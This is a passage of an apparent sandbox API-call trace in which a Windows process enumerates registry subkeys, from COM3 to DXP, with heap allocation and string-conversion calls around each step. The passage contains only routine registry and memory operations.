(HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.730] RegEnumKeyW (in: hKey=0x34, dwIndex=0x8, lpName=0x1efb930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0259.730] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.730] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x1efc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0259.730] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.730] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.730] RegEnumKeyW (in: hKey=0x34, dwIndex=0x9, lpName=0x1efb930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0259.730] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.730] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x1efc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0259.730] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.730] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.731] RegEnumKeyW (in: hKey=0x34, dwIndex=0xa, lpName=0x1efb930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0259.731] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0259.731] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x1efc120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0259.731] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.731] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.731] RegEnumKeyW (in: hKey=0x34, dwIndex=0xb, lpName=0x1efb930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0259.731] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.731] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x1efc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0259.731] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.731] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.731] RegEnumKeyW (in: hKey=0x34, dwIndex=0xc, lpName=0x1efb930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0259.731] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.731] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0259.731] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.731] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.731] RegEnumKeyW (in: hKey=0x34, dwIndex=0xd, lpName=0x1efb930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0259.732] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.732] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x1efc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0259.732] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.732] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.732] RegEnumKeyW (in: hKey=0x34, dwIndex=0xe, lpName=0x1efb930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0259.732] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.732] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0259.732] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.732] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.732] RegEnumKeyW (in: hKey=0x34, dwIndex=0xf, lpName=0x1efb930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0259.732] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.732] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x1efc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0259.732] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.732] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.732] RegEnumKeyW (in: hKey=0x34, dwIndex=0x10, lpName=0x1efb930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0259.733] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.733] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x1efc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0259.733] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.733] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.733] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.733] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.733] RegEnumKeyW (in: hKey=0x34, dwIndex=0x11, lpName=0x1efb930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0259.733] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.733] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x1efc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0259.733] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.733] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.733] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.733] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.733] RegEnumKeyW (in: hKey=0x34, dwIndex=0x12, lpName=0x1efb930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0259.733] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.733] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0259.733] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.733] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.734] RegEnumKeyW (in: hKey=0x34, dwIndex=0x13, lpName=0x1efb930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0259.734] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.734] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x1efc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0259.734] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.734] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.734] RegEnumKeyW (in: hKey=0x34, dwIndex=0x14, lpName=0x1efb930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0259.734] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.734] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0259.734] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.734] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.734] RegEnumKeyW (in: hKey=0x34, dwIndex=0x15, lpName=0x1efb930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0259.734] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.734] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x1efc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0259.734] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.734] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.735] RegEnumKeyW (in: hKey=0x34, dwIndex=0x16, lpName=0x1efb930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0259.735] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.735] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x1efc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0259.735] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.735] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.735] RegEnumKeyW (in: hKey=0x34, dwIndex=0x17, lpName=0x1efb930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0259.735] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.735] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x1efc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0259.735] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.735] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.735] RegEnumKeyW (in: hKey=0x34, dwIndex=0x18, lpName=0x1efb930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0259.735] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.735] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0259.735] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.735] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.736] RegEnumKeyW (in: hKey=0x34, dwIndex=0x19, lpName=0x1efb930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0259.736] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0259.736] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x1efc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0259.736] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.736] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.736] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1a, lpName=0x1efb930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0259.736] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.736] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0259.736] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.736] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.736] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1b, lpName=0x1efb930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0259.736] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.736] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x1efc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0259.736] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.736] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.737] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.737] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1c, lpName=0x1efb930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0259.737] RtlAllocateHeap 